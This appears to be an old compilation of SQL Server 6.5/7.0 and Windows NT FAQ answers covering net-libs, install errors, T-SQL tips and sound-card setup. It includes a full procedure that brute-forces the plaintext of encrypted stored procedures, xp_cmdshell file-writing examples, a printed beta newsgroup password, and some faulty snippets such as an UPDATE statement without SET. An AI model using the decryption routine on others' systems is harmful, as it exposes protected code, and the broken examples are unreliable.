6. Server Transport Protocol. NW Link IPX/SPX, NetBEUI, TCP/IP, AppleTalk, Banyan VINES

7. Server Net-Lib. Shared Memory(local 95/98 only), Multi Protocol, Named Pipes(NT only), TCP/IP Sockets, Novell IPX/SPX, AppleTalk(NT only), Banyan VINES(NT only)

8. Server DB Interface (Open Data Services - ODS).

9. SQL Server

Other points, issues and clarifications :-

If you want to see some of the details described after this actually happening then you can do a network trace with Microsoft Network Monitor (or another network data-capture tool) and see the packets SQL sends/receives for yourself. If you use the version of NM that comes with SMicrosoft 2.0 this contains a built-in TDS parser that will show detailed information.

If you want to see what net-lib a client has connected with, do a select from master..sysprocesses which shows the net-lib used.

The client and server MUST have at least one matching Transport Protocol. So if a client only runs tcp-ip then the server must have tcp-ip as one of it's network protocols. To check what protocols are configured look at control panel/networks/protocols or run the command "NET CONFIG WORKSTATION" at a command prompt. The order in which these protocols are tried is determined by their binding order which you can see in the network applet in control panel under the bindings tab. The way NT works is that it will try all the protocols relevant to a net-lib "simultaneously" - it doesn't wait for one to fail to connect before trying the others. However, as only one network packet can be sent at a time, the various connection attempt packets must be sent in an order - which the bindings dictate. The first protocol used is usually the one to succeed (assuming the server is listening on that protocol).

The client and server MUST have at least one matching network library. i.e. If the client connection is configured to use the Multi-Protocol net-lib then the server must be listening on that net-lib. A client is configured to have a default network library. If a connection needs to be set-up to a server with a different net-lib then this can be configured with the advanced option of the SQL Client config utility. If you need to connect to the same server with different net-libs then this can be achieved by setting up multiple aliases via the advanced option.

To see what client net-libs are configured run SQL Client configuration utility, which is in the SQL program group.

To see what server net-libs are configured for SQL 6.5 and below run SQL Setup and choose configure server and then the network option. For SQL 7.0 you can run SQL Server Network Utility in the SQL progam group.

Which net-libs support which network transport protocols? :-

Multi Protocol NW Link IPX/SPX, NetBEUI, and TCP/IP
Named-Pipes NW Link IPX/SPX, NetBEUI, and TCP/IP
TCP/IP Sockets TCP/IP
IPX/SPX NW Link IPX/SPX
AppleTalk Appletalk
Banyan Vines Vines IP
Shared-memory n/a (it uses internal rpc calls)
DECNet DECNet (This net-lib only existed in 6.5 and earlier)

Which net-libs use which DLL's? :-

Net-lib 32-bit DLL 16-bit DLL
Multi Protocol dbmsrpcn.dll dbmsrpc3.dll
Named-Pipes dbnmpntw.dll dbnmp3.dll
TCP/IP Sockets dbmssocn.dll dbmssoc3.dll
IPX/SPX dbmsspxn.dll dbmsspx3.dll
AppleTalk dbmsadsn.dll n/a
Banyan Vines dbmsvinn.dll dbmsvin3.dll
Shared-memory dbmsshrn.dll n/a
DECNet dbmsdecn.dll n/a

NT Authentication (SQL 6.5 and below). Multi-Protocol and Named-Pipes both support and enforce NT authentication. i.e. your client must be connected with a set of NT credentials that the server can validate. The easiest way to check this is to do a "NET USE \\<servername>\IPC$" command from the client. If this works then you can NT authenticate with the server.

NT Authentication (SQL 7.0). All net-libs support NT authentication as SQL Server calls the NT SSPI interface to check credentials rather than the old NTLANMAN interface. However only named-pipes and multiprotocol "enforce" this authentication - this is because the way these net-libs connect to the server they go through NT networking layers that demand authentication implicitly. If you use one of the other net-libs and do not make a trusted connection - i.e. you pass in SQL Server standard userid/password - then you don't have to be NT authenticated. If you want to use these other net-libs with integrated security/NT authentication then you need to put "Trusted_Connection=yes" in your connect string.

Multi-Protocol is the only net-lib that supports encryption. All packets sent using multi-protocol are encrypted - that includes all data, userids/passwordd etc. Encryption (on/off) can be configured at the client and server end. At the server end you can enforce encryption - if you do this then any clients not configured for encryption won't be able to connect with the multi-protocol net-lib. The encryption used is the built-in NT encryption libraries - therefore the strength of encryption depends on NT. By default this is 40-bit - if you are able to apply the NT "high-encryption option" version then you will get 128-bit strength encryption.

Netware - if the clients are true NetWare clients, they probably run IPX/SPX as their Transport Protocol (In Microsoft systems NWLink which is Microsoft's compatible protocol for IPX/SPX). In newer systems, you will find TCP/IP as the transport protocol because Netware is in a transition to TCP/IP as well. Keep in mind that even if we are talking about 'TRUE' Netware clients, they are still running a Microsoft operating system; there are no Netware clients that run a NW operating system.

The Client DB Interface api's (OLE-DB, ODBC, DB-Library, Embedded SQL) do not call each other. ODBC does not run "over" db-lib or call it in any way. This is true for all current versions of these api's - in the past there was an early version of OLE-DB that used to work with an interface called "Kagera" that used to call ODBC, but this is an obsolete driver/version now.

Named-pipes requires "netbios" to be there to work. Therefore the relevant NT service has to be installed and working - e.g. netbios over ip (NBT), netbios over IPX.

It is possible to trace net-lib packets - at least with 6.5 and earlier anyway - without a network trace. This uses a tracing dll/utility called NLSPY. This can be found with the BackOffice Resource Kit Part II.

SQL Server uses standard NT name-resolution methods to turn a server name into a network level address. The methods and order this is done in are described in the nameresolution.txt faq entry.


Q. I am getting a "cfgchar" problem installing SQL Server 6.5 SP5?

A. Check the following :-

1. Make sure that there are no quotes in the path on the machine you are setting up.

2. Check that the full directory path you are installing from does not include any spaces.

3. Check the registry entry [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\MSSQLServer\Setup] ends in a "\" and add one if it doesn't.

4. Make sure that named-pipes is enabled and is the default net-lib on the server.

5. Check that SQL Server isn't starting in single-user mode

6. Make sure that the "sa" password does not contain blanks or any other special characters.

7. Make sure that the master database has at least 3MB free space.

Also make sure you are installing SP5a (SP5 was pulled for other reasons). SP5a is build 416. The "bad" SP5 was 415.


Q. How can I tell if a stored procedure was created with the ANSI NULLS setting on?

A. You can use the OBJECTPROPERTY function :

select objectproperty(object_id('<spname>'), 'ExecIsAnsiNullsOn')

This returns 1 for yes, 0 for no


Q. Does SQL Server have an 'ON ERROR RESUME' type function in TSQL to match the VB facility?

A. No. All you can do is check @@ERROR after a statement has been run and do something based on that - you could do a GOTO to an error routine if it is in the same batch of TSQL.


Q. Why do I get the error "Cannot use file <logfile> because it was originally formatted with sector size <xxx> and is now on a device with sector size <yyy> " when I move SQL Server's log file?

A. This only occurs with SQL 7.x, not 6.x. For performance/consistency reasons the log writes are aligned on physical sector boundaries. 95%+ of disks will have the same physical sector size, but if you try and move between different vendor raid systems, or utilise some form of NAS device then you may see this problem.

The only work-around is to re-create the log file on the new device and backup/restore the database.


Q. What does the red lightning bolt next to a server in SQL EM mean?

A. It just means that you have a connection to that SQL Server. Nothing to worry about.


Q. Why can't I backup/restore my SQL Server database to JAZ/ZIP drive from SQL EM?

A. The reason is that the SQL Enterprise Manager only lists drives that NT tells it are permanently attached. JAZ drives, ZIP drives, writeable CD-Roms etc. are all removeable media and so they aren't listed.

However, as long as there is formatted media in the drive, then all the MSSQLSERVER service does is issue standard NT i/o calls so is happy to write to it. You just need to use the underlying TSQL commands - issued from ISQLW etc. - to do the job. i.e. BACKUP DATABASE <xyz> TO DISK = 'J:\.....'

Alternatively for Jaz/Zip drives you can use the IoMega tools to mark the drive as non-removeable. After a restart of NT it should then see the drives.


Q. How can I compare that the contents of two tables are identical?

A. A couple of methods :-

1. BCP them both out and use the NT COMP.EXE command to compare them.

2. (Courtesy of Roy Harvey)

If tableA and tableB have unique indexes on them:
select count(*) from tableA
select count(*) from tableB

If they don't have unique indexes on them, then do
select count(*) from (select distinct * from tableA) as a
select count(*) from (select distinct * from tableB) as b

Check that the counts are the same. If they are not then obviously the tables don't match. If the counts do match then do:

select count(*)
from (select * from tableA
UNION
select * from tableB) as t

If the count from this query is the same as the previous counts, then the two tables are identical. This is because a UNION does a DISTINCT merge of the two resultsets. Therefore the two tables will "collapse" back into one if and only if they are identical.


Q. How can I decrypt a SQL Server stored-procedure?

A. Here is the code for SQL 6.5

/************************************************/
/* REVISED REC'D 5/21/98 */
/* sp_decrypt_object Tom Sager 01/26/98 */
/* */
/* Decrypts objects (views, procedures & trigs) */
/* created with the WITH ENCRYPTION option. */
/* */
/* Uses the encrypt() built-in function to find */
/* a plaintext string that encrypts to the same */
/* value as stored in the text column of the */
/* syscomments table. */
/* */
/************************************************/
create proc sp_decrypt_object
(@objname varchar(30))
WITH ENCRYPTION
as

SET NOCOUNT ON

declare @errmsg varchar(80)
declare @encrtext varchar(255)
declare @decrtext varchar(255)
declare @testtext varchar(255)
declare @printline varchar(255)
declare @textlen int
declare @lup int
declare @match char(1)
declare @testchar smallint
declare @begblk smallint
declare @endblk smallint

if (select count(*)
from sysobjects
where name = @objname) = 0
begin
select @errmsg = 'Object '
+@objname
+' not found in database '
+DB_NAME()
print @errmsg
return 1
end

if (select count(*) from sysobjects t1,
syscomments t2
where t1.name = @objname
and t1.id = t2.id
and t2.texttype & 4 != 0) = 0
begin
select @errmsg = 'Object '
+@objname
+' is not encrypted in database '
+DB_NAME()
print @errmsg
return 1
end

DECLARE comments_cursor CURSOR for
select t1.text
from syscomments t1,
sysobjects t2
where t1.id = t2.id
and t2.name = @objname
order by t1.colid

OPEN comments_cursor

FETCH NEXT FROM comments_cursor
INTO @encrtext

WHILE (@@fetch_status <> -1)
BEGIN
IF (@@fetch_status <> -2)
BEGIN
select @decrtext = REPLICATE(' ', 255)
select @textlen = DATALENGTH(@encrtext)
select @lup = 1
select @match = 'n'
while (@lup <= @textlen)
begin
select @testchar = 0
select @match = 'n'
while (@match = 'n')
begin
select @decrtext =
STUFF(@decrtext,@lup,1,CHAR(@testchar))
select @testtext = encrypt(@decrtext)
if ASCII(SUBSTRING(@testtext,@lup,1)) =
ASCII(SUBSTRING(@encrtext,@lup,1))
begin
select @match = 'y'
end
select @testchar = @testchar + 1
if (@testchar > 255)
begin
print 'Error...no match found'
return 1
end
end
select @lup = @lup + 1
end
select @begblk = 1
select @endblk = 1
while (@endblk <= @textlen)
begin
if (substring(@decrtext,@endblk,1) = 0x0a)
begin
select @printline = @printline +
SUBSTRING(@decrtext
,@begblk
,@endblk-@begblk+1)
print @printline
select @begblk = @endblk + 1
select @endblk = @begblk
select @printline = NULL
end
select @endblk = @endblk + 1
end
select @printline = @printline +
SUBSTRING(@decrtext
,@begblk
,@endblk-@begblk+1)
END
FETCH NEXT FROM comments_cursor INTO @encrtext
END
print @printline
CLOSE comments_cursor

DEALLOCATE comments_cursor
GO


Q. How do I drop the index related to a primary key? DROP INDEX doesn't work..

A. Because the index is built as part of a constraint, the way to drop it is to drop the constraint :-

ALTER TABLE <tablename> DROP CONSTRAINT ....


Q. How can I get the current time in GMT rather than local time?

A. Use this code (courtesy of Microsoft PSS) :-

declare @deltaGMT int

exec master.dbo.xp_regread
'HKEY_LOCAL_MACHINE',
'SYSTEM\CurrentControlSet\Control\TimeZoneInformation',
'ActiveTimeBias',
@DeltaGMT OUT

select getdate() as LocalTime, dateadd(minute, @deltaGMT, getdate() ) as GMT


Q. What do Microsoft mean by Internal vs External fragmentation in SQL Server?

A. Internal fragmentation is having free space on a page. Due to deletes/updates/inserts you might have more free space on a page than you "need".

External fragmentation is when pages are not all nice and neat on contiguous extents. The ideal is to have one extent, fill it up, then get another, fill it up, get another, etc. When you have page splits, you have to link in a new page from another extent. So if you followed the page chain, you would be hopping around from extent to extent far more than you should. Ideally, you have one extent switch every 8 pages; the degree to which you have more than this determines the external fragmentation.

To show the level of fragmentation in a table use the dbcc showcontig command.

Microsoft do not mean filesystem/disk fragmentation when they say external. This sort of fragmentation occurs outside the knowledge of SQL Server. (Though this is still a sensible definition of external and hence the confusion).

(Info from Kalen Delaney)


Q. How do I know whether SQL Server is in per-seat or per-server mode? How can I change it? How can I add licenses?

A. The answer to all these questions is the same :-

Click Start
Click Settings
Click Control Panel
Double-click on the licensing manager applet here

All the info and changes are here.

For details on MS's licensing, see :-
http://www.microsoft.com/SQL/productinfo/licensesummary.htm
http://www.microsoft.com/SQL/productinfo/pricing.htm


Q. How can I list all databases on an SQL Server?

A. The SQL Server specific way (all versions) is :-

select name from master..sysdatabases

The ANSI standard way (SQL 7 only) is :-

select CATALOG_NAME from INFORMATION_SCHEMA.SCHEMATA


Q. How can I list all user tables on an SQL Server?

A. The SQL Server specific way (all versions) is :-

select name from sysobjects where type = 'U'

The ANSI standard way (SQL 7 only) is :-

select TABLE_NAME from INFORMATION_SCHEMA.TABLES


Q. How can I resolve the error 'An error 1069 - (The service did not start due to a logon failure)' for SQL Server?

A. SQL Server is just like any other NT service in that it can be defined to run using the credentials of an NT user account. It can also run under localsystem account, but if you are getting this error then you must have defined a user account.

Go to control panel/services. Choose the mssqlserver service (or SQLExecutive/SQLAgent if they are failing) and then choose startup. Check what NT account is being used. Make sure that the password is correct and check with NT user manager that the account has not been deleted or expired.

If the account details seem ok, then check that it has "logon as a service" user right (again with user manager).

If this doesn't resolve the issue then try logging on locally to the NT box with the same NT account and see what error(s) you get.


Q. SQL Server only runs under NT. What cheap/free database runs under Linux?

A. MySQL seems to the popular Linux DBMS. www.mysql.com

There are mailing lists for it at http://www.mysql.com/doc.html

Also NNTP newsgroups at: news://news.netimages.com/


Q. Why could the SQL version switch utility not work?

A. Normally this is a problem with registry permissions. Check that you have full permission on the following registry keys :-

HKLM\Software\Microsoft\MSSQLServ65
HKLM\Software\Microsoft\MSSQLServ70
HKLM\Software\Microsoft\MSSQLServer


Q. How can I read/write to a flat file from inside a SQL Server TSQL script/stored-procedure/trigger?

A. SQL Server doesn't have a handy SPOOL command like Oracle does for writing to files, but there are a number of ways of doing what you want.

1. For reading, use xp_cmdshell and the ECHO command. Use the > or >> redirection symbols to either create or append to a file.
xp_cmdshell "@ECHO test message >> C:\file.fil"

2. Put the information you want into a table (note this can't be an ordinary temporary table, but it can be a global temporary table) and then bcp it out to a file via xp_cmdshell.
xp_cmdshell "bcp <dbname>..<tablename> out c:\file.fil -Usa -P<password> -c"

3. BCP or BULK INSERT (SQL 7 only) can also be used to read in a flat file into a table, from where it can be processed.

4. Write your own extended stored procedure. As this is a C program it can use standard file access commands to achieve whatever you want.

5. Run the select through ISQL via xp_cmdshell and use the -o parameter to output the results to a file. This example uses the -E parameter to avoild hard-coding a userid.

declare @str varchar(255)
select @str = 'isql -Q"select * from <tablename>" -E -oc:\file.fil'
exec master..xp_cmdshell @str

6. There is a free XP - xp_query_to_file - at www.dbmaint.com


Q. Why am I getting gpf's/hangs running SQL tools under Windows 9x - I don't get the same problems with Windows NT clients?

A. This has always been a problem with the SQL tools - it may be bugs in the SQL tools code, but then the same exe's/dll's work fine on NT. The most likely reason is the sheer amount of gdi/icon/graphics type resources that they use is exposing some sort of Win9x limitation/bug.

You should try resetting mouse settings/pointers back to defaults, and also, if you're using an Intellimouse, then loading the very latest drivers.

You could also try applying the latest service pack/edition to Win9x, but the best bet is to develop with NT clients.


Q. What can I do about handling blocking and deadlocks in SQL

Q. What can I do about handling blocking and deadlocks in SQL Server?

A. There are several good Microsoft Kb articles covering this subject in depth :-

Q162361
Q169960
Q43199

For details of a SQL 7.0 undetected deadlock, see Q239753
(Microsoft Kb articles are on Technet and http://support.microsoft.com


Q. How can I install SQL 7.0 Desktop Edition from the Back Office 4.5 CD's?

A. Get BackOffice disk 12. This is SQL 7.0 EE. Go into the SQL dir and run setup. From here it will allow you to install the desktop edition.


Q. Why am I getting an error "The RAID set for database <xxx> is missing member number <x>. Backup or restore operation terminating abnormally"?

A. Probably you've used the EM gui to back up the database. You have probably accidentally left more than one backup device in the destination list in the backup screen.

What SQL Server will then do is stripe the backup to all devices. Therefore all backup devices need to be there for a subsequent restore.


Q. Does SQL Server Enterprise Edition perform better than Standard edition?

A. Not if exactly the same hardware/setup is used. But the Enterprise edition supports > 4 processors, > 2GB memory and partitioning of OLAP cubes. So it allows you to throw more hardware at the problem.


Q. I am getting an error where only 10 users can connect. I have more licenses than this - what is going on?

A. Reasons this can happen :-

1. You are running an MSDN copy of SQL Server. For SQL 7 a SELECT @@VERSION will show you using the "Developer" edition. You need to remove it and re-install a retail version. See evalupgrade.txt in the FAQ for details.

2. You are running SQL Server on NT Workstation. This has a 10 user incoming limit. You need to upgrade this to the Server version.

3. You have installed SQL on an MSDN copy of NT Server - the MSDN copy of NT Server has a 10 user limit that SQL inherits. There are tools on www.ntfaq.com and www.sysinternals.com that tell you what sort of copy of NT you have. You need to uninstall and reinstall NT. See reinstallnt.txt in the FAQ for how to make this less painful.


I can't see the SQL performance counters on the second node in my cluster? I can see the NT ones ok.

Q. I can't see the SQL performance counters on the second node in my cluster? I can see the NT ones ok.

A. This is a bug that won't be fixed until SQL 2000 I'm afraid.


Q. When might I want to use a surrogate key?

A. A surrogate key is a key that has no meaning other then uniquely identifying a row in the table -it contains no meaningful business information.

Reasons you might use one :-

1. There is no "good" primary key.
2. The obvious primary keys are awkward to use.
3. The obvious primary key is used in foreign key relationships and will require updating


Q. How can I run some SQL code every time SQL Server starts?

A. With SQL 6.x use the sp_markstartup supplied stored-procedure. This will run any SP you write yourself as soon as SQL Server finishes initialising.

With SQL 7.0 the same result is achieved using sp_procoption to mark the SP for auto-start. Another way, assuming that you use SQL Agent, is to define a SQL Agent job with the 'Start automatically when the SQLServerAgent starts' option. However, this will run the job every time SQL Agent is re-started (if it ever is).


Q. Why am I being blocked by spid -1? I am not able to kill it and have to restart SQL Server to get around it.

A. This is a bug found on stressed SQL 6.5 systems with SP4 or 5a installed. Contact Microsoft PSS for hotfix build 466 or above to resolve this problem. The fix will also be in SP6 (when released).

===

v1.02 2000.02.02
Applies to SQL Server versions : 6.5
Related FAQ articles : n/a
Related Microsoft Kb articles : n/a
Other related information : n/a


Q. Why does the new 'TOP' command in SQL 7 not work? I get a syntax error. Also ALTER TABLE and other SQL 7 only commands.

A. Usual reason for this is that the command only works on SQL 7 mode databases. If you have migrated an existing 6.5 database then it is probably still set to 6.5 compatibility mode. Use sp_dbcmptlevel to check and set it to SQL 7 mode.


Q. Where can I get SP2 beta for SQL 7.0?

A. See below. Password is SP2BETA

SP2 Beta for Alpha:
http://www.microsoft.com/downloads/release.asp?ReleaseID=16919

SP2 Beta OLAP Services for Alpha:
http://www.microsoft.com/downloads/release.asp?ReleaseID=16920

SP2 Beta for Intel:
http://www.microsoft.com/downloads/release.asp?ReleaseID=16917

SP2 Beta OLAP Services for Intel:
http://www.microsoft.com/downloads/release.asp?ReleaseID=16922

There is a newsgroup for support issues :-

Server: privatenews.microsoft.com
User Name: privatenews\sql7sp2beta
Password: B24GJ731 (password is case-sensitive)


Q. How can I make sure the SQL Server agent auto-starts when I start SQL Server?

A. As long as the service is set to auto it will start when the server starts, but if SQL and the Agent are shutdown manually then the Agent won't auto-start when SQL does. You can run the following proc or enable it as a startup stored-proc to overcome this. (This will only work with Window NT/2000 as Win9x does not support services).

CREATE PROC AUTOAGENT
AS
EXEC XP_CMDSHELL 'NET START SQLSERVERAGENT'
go
SP_PROCOPTION AUTOAGENT, STARTUP, TRUE


Q. What conferences covering SQL Server are coming up?

A. Here are a list of some

SQL PASS
March 12-15 2000. London, U.K.
www.sqlpass.org

SQL Server 2000 Readiness
Feb 29-Mar 3 2000. Denver, U.S.
April 3-5 2000. Amsterdam, Netherlands.
April 12-14. Japan.

SQL Connections 2000
May 14-17 2000. New Orleans, U.S.
www.sqlconnections.com

SQL 2 the Max
http://conferences.devx.com and www.sql2themax.com

For general Microsoft conference info try http://events.microsoft.com/isapi/events/default.asp


Q. I'm having trouble installing SQL Server on Win9x

A. Try the following check-list of things that could go wrong - these are specific to Win9x and SQL 7. You may also want to look at the generic install FAQ entry - install.txt.

1. Make sure the machine is of the required spec to run the version of SQL you are installing. I.e. if it is SQL EE then make sure you have NT EE. For SQL 7 you need a 100% Intel pentium compatible chip or an Alpha etc. There is a full-list in another faq entry.

2. You have to install Microsoft Client for Networks via the Network applet in Control Panel. It must also be your primary network logon. Once SQL 7 is installed then it doesn't need to be your Primary Network Logon.

3. If you are upgrading make sure that the default database for the "sa" login is master.

4. If the problem is to do with ODBC files not installing, then check that nothing has the ODBC files open. It could also be that the ODBC files on your hard-drive have been marked as read-only. Check with ATTRIB.EXE or explorer to see if this is the case.

5. If you have Quicken Download Manager installed then disable it - this runs as a driver and interferes with the install process.

6. Check the *.OUT files in the <sql>\install directory for clues as to what is going on.


Q. How can I select random rows from a SQL Server table?

A. First you need to generate a random number - this assumes that you have some sort of numeric primary key on the table in the first place. Use something like :-

SELECT @NUM = RAND( (DATEPART(mm, GETDATE()) * 100000 )
+ (DATEPART(ss, GETDATE()) * 1000 )
+ DATEPART(ms, GETDATE()) )

(You could also use another variable like @@IDLE or @@CPU_BUSY to generate "random" numbers)

select @PK = min (col1) + (max (col1) - min (col1)) * @NUM

select * from <tbl> where col1 = @PK

Another way (courtesy of Joe Celko/Itzik Ben-Gan :-

SELECT S1.key_col
FROM SomeTable AS S1, SomeTable AS S2
WHERE S1.key_col <= S2.key_col
GROUP BY S1.key_col
HAVING COUNT(S2.key_col) =
(SELECT COUNT(*)
FROM SomeTable AS S3) * RAND() + 1;


Q. Can I do a SQL Server backup to a tape drive on another server?

A. No, not with built-in SQL tools. SQL will only dump to local tape devices. If you could find an NT driver that would make a remote tape drive look local then this would work as SQL just uses standard i/o calls. I don't know of such a driver at the moment.

You can always dump the SQL database to disk locally (or to a network share - see networkdrivebackup.txt for details) and then back that up to tape.

Finally, you CAN do what you want with a 3rd party backup tool that has a SQL agent. Examples are BEI Ultrabac, CA Arcserve-IT, Veritas BackupExec, Veritas NetBackup, Legato Networker and IBM ADSM - I'm sure there are others.
These put SQL dumps (via a standard named-pipe or VDI interface) onto an NT tape, potentially as part of a complete server backup and not just SQL. Obviously dumping across a network is usually slower than doing it locally.


Q. Why do I get an error "Msg 602, Level 21, State 3. Could not find row in Sysindexes for dbid 'x', object 'yyyyyyyy',index 'z'." when running a SQL Server query?

A. First of all it could be a corruption exactly like the message says. Run a dbcc checktable against sysindexes on the database concerned. Also a dbcc checkcatalog.

If these return clean then it is a SQL bug. There are lots of bugs and fixes for 602 errors. Look for reasons for this bug at http://support.microsoft.com - just search on 602 and SQL and kbbug. If your problem does not match any of these and you have already applied the latest service pack then either post a reproduction script for an MVP to report for you or call the problem in to Microsoft PSS yourself.


Q. I am getting an error 603 restoring a database ever since I applied SP5 to SQL 6.5?

A. This is a nasty bug that slipped through the cracks in SP5 testing/beta's. It is caused when someone runs sp_sysbackuphistory - the most common way to do this is just to go into the backup/restore gui (you don't even have to do anything).

The fix is at :- ftp://ftp.microsoft.com/bussys/sql/public/fixes/usa/SQL65/Sp5/sp5ax86.exe

The fixed build is 416 and is known as SP5a. I would recommend all SQL users make sure they use this SP rather than SP5. Using this (416) build it is possible to load "corrupt" dumps by setting trace flag 3282.

More information can be found in the readme and in Q215458.

This build also contains a number of other hot-fixes that did not make SP5 but were in the base build that Microsoft applied this fix to.

If you are already on SP5 (415) then the only files you need to update are sqlservr.exe (and .dbg) and opends60.dll (and .dbg).


Q. What issues are there with SQL 7's DTS function and Oracle.

A. The Microsoft ODBC and OLEDB drivers for Oracle support the Oracle 7.3 BLOB data types, not Oracle 8.0 data types (for example, BLOB, CLOB, NCLOB, and BFILE are not supported).

The Microsoft ODBC driver for Oracle does not support sending Unicode strings into an Oracle server. Oracle requires prefixing Unicode strings with the letter N.

The Microsoft ODBC driver for Oracle does not support negative scaling for the Oracle number data type.

The Microsoft ODBC driver for Oracle reports that an Oracle number data type without a specified precision has a size of 20 digits. When importing from Oracle (regardless of the destination), if there are more than 20 digits,
you may have to manually increase the precision if the destination table does not already exist.

Oracle supports only one LONG (BLOB) data column in a table.

You cannot import or export Oracle columns that have mixed or lower case names. You also cannot transform or copy data using Oracle column names that contain spaces using the DTS Import and DTS Export wizards. Oracle requires
case-sensitive column names to be precisely specified and quoted.

To perform distributed transactions between SQL Server and Oracle, you must use Oracle version 8.0.4.1 or later. For information about distributed transactions, see Microsoft DTC Service.


Q. What is the Microsoft Loopback adapter and why do I need it for SQL Server?

A. SQL Server is dependent on network functionality - even for the set-up routines. Specifically it needs to use named-pipe/mailslot functionality on NT machines. These usually require a network card to be present. If you don't have a network card then go to control panel/networks, choose add adapter and then add the Microsoft loopback adapter - which is just a dummy driver, no hardware involved. This needs to have working network protocol(s) bound to it. Let whichever protocols you have use default parameters, EXCEPT for tcp-ip. If you are using this then do NOT specify dhcp assigned address, use 192.168.1.1 as the IP address and 255.255.255.0 as the subnet mask. This is a standard RFC1918 non-routed IP address so shouldn't clash with any dial-up address you may be given by an ISP.

If the server service does not start after installing the loopback adapter and you get the following message in the event log, then you need to re-install your *NT* service pack to synchronise your NT networking files. "The server service terminated with the following error: Not enough server storage is available to process this command"

One way of testing that the named-pipes functionality works is to run the makepipe and readpipe utilities that come with SQL Server. Run makepipe in one command window. Then run readpipe in another. If these work (i.e. the readpipe connects to makepipe and closes it down) then it is a good indication that networking functionality is ok.

For Win9x machines you don't need a loopback adapter to install but you do need to have the "MS Network Family Driver" installed and the default network client.


Q. Where can I get an OLE-DB/ODBC/JDBC driver to connect SQL Server to product xyz?

A. The best overrall lists of ODBC/JDBC/OLEDB vendor's I know is run by Ken North :-

http://ourworld.compuserve.com/homepages/Ken_North/odbcvend.htm
http://ourworld.compuserve.com/homepages/Ken_North/jdbcvend.htm
http://ourworld.compuserve.com/homepages/Ken_North/oledbven.htm

===

v1.01 2000.02.05
Applies to SQL Server versions : All
Related FAQ articles : odbcunix, mac, jdbc
Related Microsoft Kb articles : n/a
Other related information : n/a


Q. I have a SQL Server process that shows as being in SPINLOOP. What does this mean?

A. The process concerned is accessing an area of memory that SQL Server needs to protect against multiple access - typically on SMP servers. To this end it locks that area of memory (via a spin lock) so that any other access to it gets paused. In concept it is very similar to row/page locking in a database, but is used for internal memory areas within a program. There is plenty of documentation in the Win32 SDK/MSDN about spin locks and their usage.

If the SPINLOOP process does not give up control then it is very likely that SQL Server will become unresponsive. It is unlikely that you will be able to KILL a process in this state and you will probably have to kill SQL Server itself (use KILL command from the NT Resource Kit)

If you are suffering a lot of degradation due to spinloops, then you will need to raise a paid fault call with Microsoft PSS to resolve it.


Q. Now that SQL 7.0 is released can I still buy SQL 6.5?

A. v6.5 is still available from Microsoft fulfillment. You need to buy 7.0 and associated licenses and then call the Microsoft Fulfillment office with the serial number(s)/details and they will ship you the 6.5 media.

===

v1.02 2000.02.01
Applies to SQL Server versions : 7.0
Related FAQ articles : n/a
Related Microsoft Kb articles : n/a
Other related information : n/a


Q. How can I convert a SQL date/time to just date?

A. The SQL date/time field stores a date and time but if you have a populated table and you want to convert a column so it lists data only run the following:

update <table>
where <column>=convert(datetime,convert(char(10),<column>,101))

For example

update faq
where created=convert(datetime,convert(char(10),created,101))


Q. How do I disable CD AutoPlay?

A. You can use the TweakUI utility and goto the paranoia tab, or edit the registry HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Cdrom and change Autorun 0x1 to 0x0 to disable autorun. If you use TWEAKUI it will only affect the current user, where as the registry entry will set it for all users. To achieve the same as TWEAKUI change HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer and set the value NoDriveTypeAutoRun from 0x95 to 0xff.


Q. How do I install a Joystick in NT?

A. On the NT CD goto directory drvlib\multimed\joystick\x86 and right click oemsetup.inf and select install.


Q. How do I change my Soundcards Settings (IRQ)?

A. From Control Panel, double click MultiMedia. Select the "devices" tab and expand the Audio Devices. Click on the soundcard and click properties. Click settings, and scroll to the setting you wish to change and click "change setting". Change the setting and click OK, then reboot.


Q. Does NT 4.0 support Direct X?

A. Direct X is built into NT 4.0, although limited. There is no way to upgrade the Direct X part of NT, however Service Pack 3 has complete Direct X 3.0 support. NT 4.0 pre Service Pack 3 supports the DirectDraw, DirectSound and DirectPlay components of DirectX.


Q. Does NT have a speaker driver?

A. There is no NT speaker driver like there was in DOS, however this used to hammer performance and it is better to buy a cheap soundcard.

The very nature of this driver prohibits its use. A preemptive multitasking operating system will not allow enough CPU cycles to generate the sound. The sound is generated by pulse with modulation which requires 100% of CPU time while the sound is being played. Sound cards offload this to their DAC chips


Q. How do I install my SoundBlaster Sound Card?

A. If you have one of the newer Plug and Play Sound Blaster cards then the install is simple.

  1. Insert the NT installation CD
  2. Goto the drvlib\pnpisa\x86 directory
  3. Right click on the pnpisa.inf file and select install
  4. Reboot the Machine
  5. Once restarted NT will detect any ISA PnP devices including your Sound Card, the drivers are on the CD in directory drvlib\audio\sbpnp\i386

If you have one of the older non-PNP sound cards download the file awent40.exe and follow the instructions that come with the file once expanded.


Q. How do I install a WaveBlaster card?

A. Follow the instructions below:

  1. From Control Panel, double click MultiMedia
  2. Click the Devices tab and click Add
  3. Select "MPU-401 Compatible Driver"
  4. Insert the NT CD-ROM and click OK, you will be prompted for the port setting (usually 300h or 330h)
  5. Reboot the machine
  6. After reboot from Control Panel, double click MultiMedia and goto the Midi tab
  7. Click on "Single Instrument" and select "Generic MPU-401" driver.


Q. I have lost the speaker icon from my task bar.

A. You can easily recreate this by running systray.exe. To ensure that you have the speaker icon every time you start windows you can place it in your startup group.

Verify that the SystemTray value name at HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run has a text string of SysTray.exe.

Alternativly start the Multimedia control panel applet (start - settings - control panel - multimedia) and check that "Show volume control on the taskbar" is checked.


Q. How can I get my PCI based sound card to work under Windows 2000?

A. There are currently problems in 2000 with PCI based sound cards, including the Creative PCI 64 and Creative PCI 128 however it is possible to use the NT 4.0 drivers after making a small change to your system.

The problem is that Windows 2000 uses IRQ steering by default. PCI bus IRQ steering gives Windows 2000 the flexibility to reprogram PCI interrupts when rebalancing Plug and Play PCI and ISA resources around non-Plug and Play ISA devices.

Without IRQ Steering Windows 2000 cannot rebalance PCI and ISA IRQs for Plug and Play devices around non-Plug and Play ISA devices to solve resource conflicts. For example, if your computer's BIOS is unaware of non-Plug and Play ISA cards, the operating system does not have PCI bus IRQ steering, and the BIOS has set a PCI device to IRQ 10, you may have a resource conflict when you add a non-Plug and Play ISA device that is configured for IRQ 10. However, with PCI bus IRQ steering the operating system can resolve this IRQ resource conflict.

To do so, the operating system:

  1. Disables the PCI device.
